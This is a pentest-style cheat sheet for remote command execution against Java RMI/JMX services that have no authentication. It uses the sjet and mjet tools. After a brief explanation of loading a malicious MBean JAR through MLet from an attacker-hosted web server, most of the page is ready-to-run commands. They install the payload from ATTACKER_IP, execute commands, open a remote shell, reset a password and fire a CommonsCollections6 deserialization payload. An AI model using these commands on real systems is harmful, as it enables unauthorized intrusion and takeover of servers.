Java RMI: RCE using sjet or mjet
Requirements
Jython
The JMX server can connect to a http service that is controlled by the attacker
JMX authentication is not enabled
Remote Command Execution
The attack involves the following steps:
Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
Creating a instance of the MBean
javax.management.loading.MLeton the target server, using JMXInvoking the
getMBeansFromURLmethod of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
The attacker finally invokes methods from the malicious MBean.
Exploit the JMX using siberas/sjet or mogwailabs/mjet
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
Comments
No comments yet.